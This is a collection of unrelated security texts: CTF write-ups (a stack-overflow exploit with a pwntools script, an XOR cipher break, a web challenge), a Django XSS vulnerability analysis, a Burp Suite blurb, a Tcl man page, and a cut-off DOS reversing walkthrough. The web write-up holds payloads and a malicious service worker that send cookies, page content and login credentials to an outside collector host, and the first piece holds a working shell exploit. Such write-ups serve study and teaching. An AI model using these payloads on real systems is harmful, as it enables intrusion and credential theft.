exit(0);
}
fread(buffer, sizeof(char), BUFFER_SIZE - 1, f);
fclose(f);
printf("%s\n", buffer);
}
return 0;
}
void getPassword()
{
char buffer[BUFFER_SIZE] = {0};
gets(buffer);
if(!strncmp(buffer, PASSWORD, BUFFER_SIZE))
{
printf("Correct password!\n");
authenticated = 1;
}
else
printf("Incorrect password!\n");
}
void randomFunc()
{
gid_t gid;
gid = getegid();
setresgid(gid, gid, gid);
system("/bin/sh");
}
```
So now we know the password, let's try it:
```console
Nahman@c70a485c41b8:~$ ./authme
Please insert the secret password:
CYBERCYBERCYBER
Correct password!
Put your content here
```
Not very helpful. What does seem helpful is the buffer overflow in `getPassword`, where `gets` does not check the limit of the 64-byte buffer, allowing us to override the return address and jump to another location. That other location should be randomFunc which will spawn us a shell.
Let's use the `cyclic` tool to identify the exact offset of the return address, and `objdump` to find the address of `randomFunc`:
```console
root@kali:/media/sf_CTFs/noxtis/ssh# cyclic 100 | ./authme
Please insert the secret password:
Incorrect password!
Segmentation fault
root@kali:/media/sf_CTFs/noxtis/ssh# dmesg | grep authme
[ 8766.103359] authme[2360]: segfault at 61616174 ip 0000000061616174 sp 00000000ffce7040 error 14 in libc-2.28.so[f7d8c000+19000]
root@kali:/media/sf_CTFs/noxtis/ssh# cyclic -l 0x61616174
76
root@kali:/media/sf_CTFs/noxtis/ssh# objdump -d ./authme | grep randomFunc
08048708 <randomFunc>:
```
Therefore, our input should be:
```console
python -c "print(('A' * 76) + '\x08\x87\x04\x08')"
```
But if we try this, we fail:
```console
root@kali:/media/sf_CTFs/noxtis/ssh# python -c "print(('A' * 76) + '\x08\x87\x04\x08')" | ./authme
Please insert the secret password:
Incorrect password!
Segmentation fault
```
The reason is that the stdin of the /bin/sh is the stdin of our program which is the output of our python program. The shell will try to read input data from there and then exit when no more input is available.
So, in order to overcome that, we can use [this](https://security.stackexchange.com/questions/73878/program-exiting-after-executing-int-0x80-instruction-when-running-shellcode) neat trick:
```console
Nahman@c70a485c41b8:~$ python -c "print(('A' * 76) + '\x08\x87\x04\x08')" > /tmp/exploit.txt
Nahman@c70a485c41b8:~$ cat /tmp/exploit.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nahman@c70a485c41b8:~$ cat /tmp/exploit.txt - | ./authme
```
The `-` tells `cat` to allow interactive input via stdin after printing the content of the file.
An even shorter version of this, which does not require writing to a file, is:
```console
cat <(python -c "print(('A' * 76) + '\x08\x87\x04\x08')") - | ./authme
```
Another way is to just use `pwntools`:
```python
from pwn import *
import argparse
import os
EXE_PATH = "./authme"
SSH_SERVER = "darthvaderfans.noxale.com"
SSH_USER = "Nahman"
SSH_PASSWORD = "PowerOfTheDarkSide"
SSH_PORT = 1337
def get_process(is_ssh = False):
params = {"argv": EXE_PATH, "cwd": os.path.dirname(EXE_PATH)}
if is_ssh:
s = ssh(host=SSH_SERVER, user=SSH_USER, password = SSH_PASSWORD, port = SSH_PORT)
p = s.process(**params)
else:
p = process(**params)
return p
def send_payload(proc, payload):
proc.sendlineafter("Please insert the secret password:", payload)
def get_overflow_offset():
# It's problematic to create a core dump on an NTFS file system,
# so reconfigure core dumps to be created elsewhere
os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern")
proc = process(EXE_PATH)
payload = cyclic(100)
send_payload(proc, payload)
proc.wait()
offset = cyclic_find(proc.corefile.eip)
log.info("Overflow offset: {}".format(offset))
return offset
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--ssh", help="Connect via SSH", action="store_true")
args = parser.parse_args()
e = ELF(EXE_PATH)
log.info("Address of randomFunc(): 0x{:02X}".format(e.symbols["randomFunc"]))
offset = get_overflow_offset()
p = get_process(args.ssh)
payload = fit({offset: e.symbols["randomFunc"]})
send_payload(p, payload)
p.interactive()
```
Output:
```console
root@kali:/media/sf_CTFs/noxtis/ssh# python exploit.py -s
[*] '/media/sf_CTFs/noxtis/ssh/authme'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Address of randomFunc(): 0x8048708
[+] Starting local process './authme': pid 1883
[*] Process './authme' stopped with exit code -11 (SIGSEGV) (pid 1883)
[+] Parsing corefile...: Done
[*] '/media/sf_CTFs/noxtis/ssh/core.1883'
Arch: i386-32-little
EIP: 0x61616174
ESP: 0xffd6eb20
Exe: '/media/sf_CTFs/noxtis/ssh/authme' (0x8048000)
Fault: 0x61616174
[*] Overflow offset: 76
[+] Connecting to darthvaderfans.noxale.com on port 1337: Done
[*] Nahman@darthvaderfans.noxale.com:
Distro Unknown
OS: linux
Arch: amd64
Version: 4.14.94
ASLR: Enabled
[+] Starting remote process './authme' on darthvaderfans.noxale.com: pid 6046
[*] Switching to interactive mode
Incorrect password!
$ $ cat topsecret
You used the magic powers of the shell with the root permissions and banished Nahman to the realm of QA,
for eternity. The secret intel has been recovered and one of Ruhani's nails was broken in the meni-pedi.
Israel's future has been saved, thanks to you. Congratulations!
https://www.youtube.com/watch?v=04854XqcfCY
Fill this google form for eternal fame and glory (and further communication):
https://goo.gl/forms/P594dcnl8eqgpX1Q2
$ $ exit
$
[*] Got EOF while reading in interactive
$
[*] Stopped remote process 'authme' on darthvaderfans.noxale.com (pid 6046)
[*] Got EOF while sending in interactive
```
And we're done. Thumbs-up for noxale for a fun CTF!
|
sec-knowleage
|
# Burp Suite
## Burp Suite 包描述
Burp Suite是一个用于执行Web应用程序安全测试的集成平台。 它的各种工具无缝地协同工作，支持整个测试过程，从初始映射和分析应用程序的攻击面，到查找和利用安全漏洞。
Burp让您完全控制，让您结合先进的手动技术与先进的自动化，使您的工作更快，更有效，更有趣。
资料来源：http://portswigger.net/burp/
[Burp Suite 主页](http://portswigger.net/) | [Burp Suite 主页](http://git.kali.org/gitweb/?p=packages/burpsuite.git;a=summary/)
- 作者：PortSwigger
- 许可证：Commercial
## 在burpsuite包里的工具
#### burpsuite - web应用程序的安全测试平台
Web应用程序的安全测试工具。
## burpsuite用法示例
|
sec-knowleage
|
# Django debug page XSS漏洞（CVE-2017-12794）分析
Django发布了新版本1.11.5，修复了500页面中可能存在的一个XSS漏洞，这篇文章说明一下该漏洞的原理和复现，和我的一点点评。
## 0x01 补丁分析
因为官方说明是500页面中出现的BUG，所以我们重点关注的就是`django/views/debug.py`。
Github上有Django的仓库，下载下来，用1.11.4和1.11.5进行比较：
```bash
git clone https://github.com/django/django.git
cd django
git diff 1.11.4 1.11.5 django/views/debug.py
```
可见，外部关闭了全局转义，然后在这两个地方增加了强制转义。那么，漏洞肯定是在这个位置触发的。
## 0x02 功能点探索
如果要触发这两个输出点，就必须进入这个if语句：`{% ifchanged frame.exc_cause %}{% if frame.exc_cause %}`。
首先我们来想一下，正常情况下，这个位置是干嘛用的，也就是说，功能点是什么。
作为一个老年Django开发，看到上图画框的这个关键句子`The above exception was the direct cause of the following exception:`，我是有印象的：一般是在出现数据库异常的时候，会抛出这样的错误语句。
我们可以做个简单的测试，在Django命令行下，我们创建一个username为phith0n的用户，然后再次创建一个username为phith0n的用户，则会抛出一个`IntegrityError`异常：
见上图，原因是触发了数据库的Unique异常。
为什么Django会引入这样一个异常机制？这是为了方便开发者进行SQL错误的调试，因为Django的模型最终是操作数据库，数据库中具体出现什么错误，是Django无法100%预测的。那么，为了方便开发者快速找到是哪个操作触发了数据库异常，就需要将这两个异常回溯栈关联到一块。
我们可以看看代码，`django/db/utils.py`的`__exit__`函数：
```python
def __exit__(self, exc_type, exc_value, traceback):
if exc_type is None:
return
for dj_exc_type in (
DataError,
OperationalError,
IntegrityError,
InternalError,
ProgrammingError,
NotSupportedError,
DatabaseError,
InterfaceError,
Error,
):
db_exc_type = getattr(self.wrapper.Database, dj_exc_type.__name__)
if issubclass(exc_type, db_exc_type):
dj_exc_value = dj_exc_type(*exc_value.args)
dj_exc_value.__cause__ = exc_value
if not hasattr(exc_value, '__traceback__'):
exc_value.__traceback__ = traceback
# Only set the 'errors_occurred' flag for errors that may make
# the connection unusable.
if dj_exc_type not in (DataError, IntegrityError):
self.wrapper.errors_occurred = True
six.reraise(dj_exc_type, dj_exc_value, traceback)
```
其中`exc_type`是异常，如果其类型是`DataError,OperationalError,IntegrityError,InternalError,ProgrammingError,NotSupportedError,DatabaseError,InterfaceError,Error`之一，则抛出一个同类型的新异常，并设置其`__cause__`和`__traceback__`为此时上下文的`exc_value`和`traceback`。
`exc_value`是上一个异常的说明，`traceback`是上一个异常的回溯栈。这个函数其实就是关联了上一个异常和当前的新异常。
最后，在500页面中，`__cause__`被输出。
## 0x03 漏洞复现
经过我的测试，我发现在使用Postgres数据库并触发异常的时候，psycopg2会将字段名和字段值全部抛出。那么，如果字段值中包含我们可控的字符串，又由于0x02中说到的，这个字符串其实就会被设置成`__cause__`，最后被显示在页面中。
所以我们假设有如下场景：
1. 用户注册页面，未检查用户名
2. 注册一个用户名为`<script>alert(1)</script>`的用户
3. 再次注册一个用户名为`<script>alert(1)</script>`的用户
4. 触发duplicate key异常，导致XSS漏洞
我将上述流程整理成vulhub的一个环境：https://github.com/phith0n/vulhub/tree/master/django/CVE-2017-12794
编译及启动环境：
```
docker compose up -d
```
访问`http://your-ip:8000/create_user/?username=<script>alert(1)</script>`创建一个用户，成功；再次访问`http://your-ip:8000/create_user/?username=<script>alert(1)</script>`，触发异常：
可见，Postgres抛出的异常为
```
duplicate key value violates unique constraint "xss_user_username_key"
DETAIL: Key (username)=(<script>alert(1)</script>) already exists.
```
这个异常被拼接进`The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception`，最后触发XSS。
|
sec-knowleage
|
# Enigma (crypto)
```
Its World War II and Germans have been using Enigma to encrypt their messages. Our analysts have figured that they might be using XOR-encryption. XOR-encrption is vulnerable to a known-plaintext attack. Sadly all we have got are the encrypted intercepted messages. Your task is to break the Enigma and get the flag.
```
###ENG
[PL](#pl-version)
In the task we get a set of [ciphertexts](encrypted.tar.xz) to work with.
Initially we thought this is another one of repeating-key-xor and we were using our semi-interactive breaker for it, but it seemed to not work at all - we could not find any words.
Then we decided to look at the data we got, and we saw for example:
```
Dtorouenc&Vguugaoct+Mihpio&dcuenksr|r&dco&06&Atgb&Hitbch&shb&73&Atgb&Qcurch(&Hcnkch&Uoc&cu&ui`itr
```
```
60<56*&Bgu&Qcrrct&our&ncsrc&mjgt(&Tcach&gk&Gdchb
```
What sticks of instantly is how many `&` are there.
It can't be a coincidence so we figured that those have to be spaces and therefore the xor key has to be 1 or 2 characters at most.
We checked and it turned out that it was a single `\6`.
We run:
```python
import codecs
from crypto_commons.generic import chunk_with_remainder, xor_string
def main():
cts = []
for i in range(1, 7):
with codecs.open("encrypted/" + str(i) + "e", "r") as input_file:
data = input_file.read()
cts.append(data)
xored = [xor_string(chr(ord('&') ^ ord(' ')) * len(data), d) for d in cts]
print(xored)
main()
```
And we get `BITCTF{Focke-Wulf Fw 200}` in one of the messages.
###PL version
W zadaniu dostajemy zestaw [szyfrogramów](encrypted.tar.xz).
Początkowo myśleliśmy, że to kolejna wersja łamania powtarzącego się klucza xor i chcieliśmy użyć naszego semi-interaktywnego łamacza, ale nic ciekawego z tego nie wychodziło - nie mogliśmy znaleźć żadnych sensownych słów.
Postanowiliśmy więc popatrzeć na dane które mamy w plikach:
```
Dtorouenc&Vguugaoct+Mihpio&dcuenksr|r&dco&06&Atgb&Hitbch&shb&73&Atgb&Qcurch(&Hcnkch&Uoc&cu&ui`itr
```
```
60<56*&Bgu&Qcrrct&our&ncsrc&mjgt(&Tcach&gk&Gdchb
```
Co rzuca się od razu w oczy to liczba znaków `&`.
To nie może być przypadek więc założyliśmy, że to mogą być spacje a tym samym klucz xora może mieć co najwyżej 1 lub 2 znaki.
Sprawdziliśmy i okazało sie że kluczem był znak `\6`.
Uruchamiamy:
```python
import codecs
from crypto_commons.generic import chunk_with_remainder, xor_string
def main():
cts = []
for i in range(1, 7):
with codecs.open("encrypted/" + str(i) + "e", "r") as input_file:
data = input_file.read()
cts.append(data)
xored = [xor_string(chr(ord('&') ^ ord(' ')) * len(data), d) for d in cts]
print(xored)
main()
```
I dostajemy `BITCTF{Focke-Wulf Fw 200}` w jednej z wiadomości.
|
sec-knowleage
|
# Bugler
* Category: Web
* 550 Points
* Solved by the JCTF Team
## Description
> Don't be so selfish! Share your phishing sites with us, our admin will appreciate your service
>
> URL: https://bugler.ctf.bsidestlv.com
>
> By Daniel Abeles and Tomer Zait
## Solution
The attached website is an impressive dashboard with many graphs and tables:
We can register to the service, and once we have a username and password, we can log in. As logged in users, we can view our profile:
And even edit it:
Notice how the "edit profile" page provides the ability to upload a profile picture.
The site rejects files with an `*.html`, `*.htm` or `*.js` extension, but accepts such files if the extension is UPPERCASE. **This means that we have the ability to store HTML and Javascript on the website server!**
Another feature that the website has is the "report phishing" capability. If we enter a website, we can then click a "report phishing" button in order to report it to the admin:
The admin later visits this website to check it. **This means that we have the ability to cause the admin to visit a website of our choice!**
The next obvious step is to upload a malicious HTML page as the profile picture and have the admin visit this page.
We'll try to steal the admin's cookies using this method:
```html
<script>
fetch("https://endlbdl92l0m4.x.pipedream.net/?cookie=" + btoa(document.cookie));
</script>
```
We upload the page and set the link our profile to point to it:
However, it turns out that the admin won't agree to visit this page if it's under `https://bugler.ctf.bsidestlv.com/upload/`. Fortunately, we are able to bypass that by replacing the periods with their encoded value (`%2E`):
Now we get a hit in our server:
```
/?cookie=QlNpZGVzVExWPTA0MTg1MTE0NDBlY2QwMmI5NWQzNTVlNzEyNjMwOGNjNWJjYzZlMmI=
```
Let's decode the cookie:
```console
root@kali:/media/sf_CTFs/bsidestlv/bugler# echo QlNpZGVzVExWPTA0MTg1MTE0NDBlY2QwMmI5NWQzNTVlNzEyNjMwOGNjNWJjYzZlMmI= | base64 -d
BSidesTLV=0418511440ecd02b95d355e7126308cc5bcc6e2b
```
This is the standard CTF cookie. Where is the website session cookie, like the one we get when we log in?
```console
root@kali:/media/sf_CTFs/bsidestlv/bugler# curl -c - 'https://bugler.ctf.bsidestlv.com/login' \
> -H 'Content-Type: application/x-www-form-urlencoded' \
> -H 'Cookie: BSidesTLV=0418511440ecd02b95d355e7126308cc5bcc6e2b' \
> --data-raw 'username=user1&password=1234567890'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/">/</a>. If not click the link.# Netscape HTTP Cookie File
# https://curl.haxx.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
#HttpOnly_bugler.ctf.bsidestlv.com FALSE / FALSE 0 session .eJxdjTsOwjAQBe-yNYqz_mCHipqWEzzsRYqICQqEJsrdWbd0o3nSvI3Wtyx02ghffKBEZn1NM4oZJNow5BjYwUtOhq0_MgdfHCcfbnAOfWIbc-pdicLd5UoHkopx0swdDzk37vJc1Y9F5X9Tfft_ooquDZn2_QekfitY.Xv8e1A.qnqT3p441qbAKDrYKFVz6fcINzg
```
Well, there's the answer right there: The session cookie is marked as "HTTPOnly", meaning that Javascript has no access to it!
Ok then, we still have the ability to upload content to the website. We can create an iframe and access its content via Javascript, as long as both pages are from the same origin. This way, we can try to access the admin's profile page and see if there's anything interesting in it:
```html
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<iframe src="https://bugler.ctf.bsidestlv.com/profile" id="my_iframe"></iframe>
<script>
$('#my_iframe').on("load",function(){
var body = $("#my_iframe").contents().find('body').html();
$.post( "https://endlbdl92l0m4.x.pipedream.net/?profile", { data: btoa(body) } );
});
</script>
```
However, we just get the login page, as the the admin isn't logged in.
Maybe he has autocomplete? We can try to steal his credentials by submitting the login form to our server:
```html
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<iframe src="https://bugler.ctf.bsidestlv.com/login" id="my_iframe"></iframe>
<script>
$('#my_iframe').on("load",function(){
var form = $("#my_iframe").contents().find("form")
form.attr('action', 'https://endlbdl92l0m4.x.pipedream.net/');
setTimeout(function(){
form.submit()
}, 2000);
});
</script>
```
However, the username and password come in blank. What are we missing?
At this stage, it's a good idea to start searching for any other vulnerability or special behavior that we might have missed.
For example, we can find a self-XSS in the profile page:
A self-XSS is an XSS that is only visible to the user himself (e.g. only when logged in as himself). Usually there's not much we can do with that.
Another fact that we note is that the login page has a redirect capability. For example, if we send a user which isn't logged in to `https://bugler.ctf.bsidestlv.com/profile/9e7259c7513a4ec8`, he'll be redirected to `https://bugler.ctf.bsidestlv.com/login?next=%2Fprofile%2F9e7259c7513a4ec8` and after logging in arrive to the original link.
Again, it isn't clear how we can currently use this information.
Well, at least until we find [this page](https://blogs.akamai.com/sitr/2020/01/abusing-the-service-workers-api.html), that is. The article, by Daniel Abeles (who not-so-much-by-chance is also the co-author of the challenge), explains in details how to attack a website with the exact same vulnerabilities.
The important part is here:
> ## Attack Flow
>
> First, the attacker uploads the malicious service worker to the website (using the file upload functionality). Then, he tricks the victim to visit the attacker's controlled page. That page has an iframe that will cause the user to logout, and login again as the attacker (using the attacker credentials). Once the user is logged in, the attacker will redirect him to the /profile page, thereby triggering the self-XSS. In turn, the XSS payload will register the malicious service worker and log him out again.
>
> In this stage, the user is logged out from the system. When the user tries to log in again, the malicious service worker will kick in on his user context, resulting in a persistent XSS (in contrast to the self-XSS we had before).
So let's do exactly that:
First, we upload a malicious service worker to the website, using the file upload functionality:
```javascript
self.addEventListener('install', (event) => {
fetch('https://endlbdl92l0m4.x.pipedream.net/?install')
});
self.addEventListener('activate', (event) => {
fetch('https://endlbdl92l0m4.x.pipedream.net/?activate')
});
self.addEventListener('fetch', (event) => {
e = event.request.clone();
if (event.request.method == 'POST')
{
event.request.formData().then((form_data) => {
fetch('https://endlbdl92l0m4.x.pipedream.net/?username=' + form_data.get('username') + '&pass=' + form_data.get('password'))
});
}
event.respondWith(fetch(e));
});
```
Then, we upload a page with an iframe which logs the admin into our profile:
```html
<iframe id="my_iframe"></iframe>
<form action="https://bugler.ctf.bsidestlv.com/login?next=/profile#edit" method="post" target="my_iframe" id="my_form">
<input type="hidden" name="username" value="user1" />
<input type="hidden" name="password" value="1234567890" />
<input type="submit" />
</form>
<script>
document.getElementById("my_form").submit();
</script>
```
We edit our profile and set the self-XSS in the *City* field to register our service worker:
```javascript
<script>
navigator.serviceWorker.register('/upload/9e7259c7513a4ec8/12461154d31845ba33a08127c803d7e1.JS', {
scope: '/login'
})
.then((reg) => {
console.log("registered");
fetch('https://endlbdl92l0m4.x.pipedream.net/?register')
});
</script>
```
We trick the admin into visiting the page with the IFRAME, by editing our website link and pointing to this page, then reporting this page for phishing.
This causes the following chain of events:
1. The admin visits the page we reported as a phishing page
2. The page contains an iframe and Javascript code which logs the admin into our profile, and sends him to our profile page
3. The profile page contains a self-XSS which registers a service worker, becoming a persistent XSS even after logging out
4. The admin later tries to login as himself
5. The service worker which is registered to the login page kicks in, and steals the username and password, sending it to our server
6. We obtained the admin's credentials: `/?username=admin&pass=BSidesTLV2020{S3rv1ce_W0rk3rs@Y0urS3rvic3}`
The flag: `BSidesTLV2020{S3rv1ce_W0rk3rs@Y0urS3rvic3}`
|
sec-knowleage
|
'\"
'\" Copyright (c) 1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: fblocked.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: fblocked.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH fblocked 3tcl 7.5 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
fblocked \- 测试上次输入操作是否耗尽了所有获得的输入
.SH "总览 SYNOPSIS"
\fBfblocked \fIchannelId\fR
.BE
.SH "描述 DESCRIPTION"
.PP
如果在 \fIchannelId \fR 上的最新的输入操作返回少于其要求的信息，\fBfblocked\fR命令将返回 1，因为所有可获得的输入都被耗尽了。例如，如果在只能获得三个字符用于输入并且没有行结束序列的时候调用 \fBgets\fR， \fBgets\fR将返回一个空串并且随后的 \fBfblocked\fR 调用将返回 1。
.PP
.SH "参见 SEE ALSO"
gets(n), open(n), read(n)
.SH "关键字 KEYWORDS"
blocking, nonblocking
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/07/22
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# dkdos
Reversing, 45 points
## Description
> I've sent my KIPODIM shop to a friend of mine, and he told me he was able to access it with just a random password. Can you please check it?
A binary file was attached.
## Solution
Let's check the file:
```console
root@kali:/media/sf_CTFs/kaf/dkdos# file dkdos.exe
dkdos.exe: MS-DOS executable
```
It's a DOS executable, we can run it with DOSBox-X (which is a DOSBox port with a better debugger):
We need to provide the correct password. Let's open the file with Radare2 and start disassembling. We'll go into a little more details than usual since DOS reversing isn't so common these days.
```
root@kali:/media/sf_CTFs/kaf/dkdos# r2 dkdos.exe
-- Move around the bytes with h,j,k,l! Arrow keys are neither portable nor efficient
[0000:0050]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[Invalid address from 0x0000008f
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0000:0050]> afl
0x00000050 53 425 -> 459 entry0
0x00000021 1 8 fcn.00000021
0x00000029 1 15 fcn.00000029
0x00000038 4 24 fcn.00000038
```
We start from the main function:
```
[0000:0050]> s entry0
[0000:0050]> e asm.comments = false
[0000:0050]> e graph.comments = false
[0000:0050]> afu 0000:00b6
```
(The `afu` command is needed since Radare2 doesn't correctly understand that the main function ends at `0000:00b4`, and comments are disabled since Radare2 gets them wrong for this binary, incorrectly referencing strings).
Let's take a look at it:
```
[0000:0050]> agf
[0x00000050]> # entry0 (int32_t arg4);
.-------------------------------.
| 0x50 |
| (fcn) entry0 102 |
| entry0 (int32_t arg4); |
| ; arg int32_t arg4 @ cx |
| mov ax, 0xc |
| mov ds, ax |
| call fcn.00000021;[oa] |
| mov word cs:[0x11], 0x27d1 |
| mov word cs:[0x13], 0x27d1 |
| call fcn.00000029;[ob] |
| mov al, byte [0xbd] |
| test al, al |
| je 0x77 |
`-------------------------------'
f t
| |
| '-------------.
.-------' |
| |
.-----------------------. |
| 0x70 | |
| cmp byte [0xb5], 8 | |
| je 0x7a | |
`-----------------------' |
f t |
| | |
| '. |
'------------. |
| | .----'
| | |
| .------------------------.
| | 0x77 |
| | call fcn.00000038;[oc] |
| `------------------------'
| v
| |
.|-------'
|'.
| |
.----------------------------.
| 0x7a |
| mov bx, 0xb5 |
| mov cl, byte [bx] |
| mov ch, 0 |
| push cx |
| inc bx |
| push bx |
| mov bx, 0xc0 |
| push bx |
| mov word cs:[9], 0x78a |
| call section.seg_000;[od] |
| add sp, 6 |
| cmp word [0xc0], 0xcfe1 |
| jne 0xa0 |
`----------------------------'
f t
| |
| '-------------.
.---------' |
| |
.------------------------. |
| 0x9d | |
| call fcn.00000038;[oc] | |
`------------------------' |
v |
| |
'---------. |
| .-------------'
| |
.------------------------.
| 0xa0 |
| mov dx, 0x120 |
| mov ah, 9 |
| int 0x21 |
| call fcn.00000038;[oc] |
| ;-- bx: |
| mov dx, 0xc2 |
| mov ah, 9 |
| int 0x21 |
| mov ax, 0x4c00 |
| int 0x21 |
`------------------------'
[0000:0050]>
```
We'll analyze the function block-by-block. In parallel, we can follow the flow with the DOSBox-X debugger (to open the debugger, hit `ALT-Break`). But before we start, let's take a quick look at the program strings:
```console
root@kali:/media/sf_CTFs/kaf/dkdos# strings dkdos.exe
MS-DOS KIPOD SHOP
------------------------------------------------
Wanna buy some KIPODIM?
First, I have to make sure you're allowed to.
Please log in with you password:
Congrats! You are allowed to buy some KIPODIM!
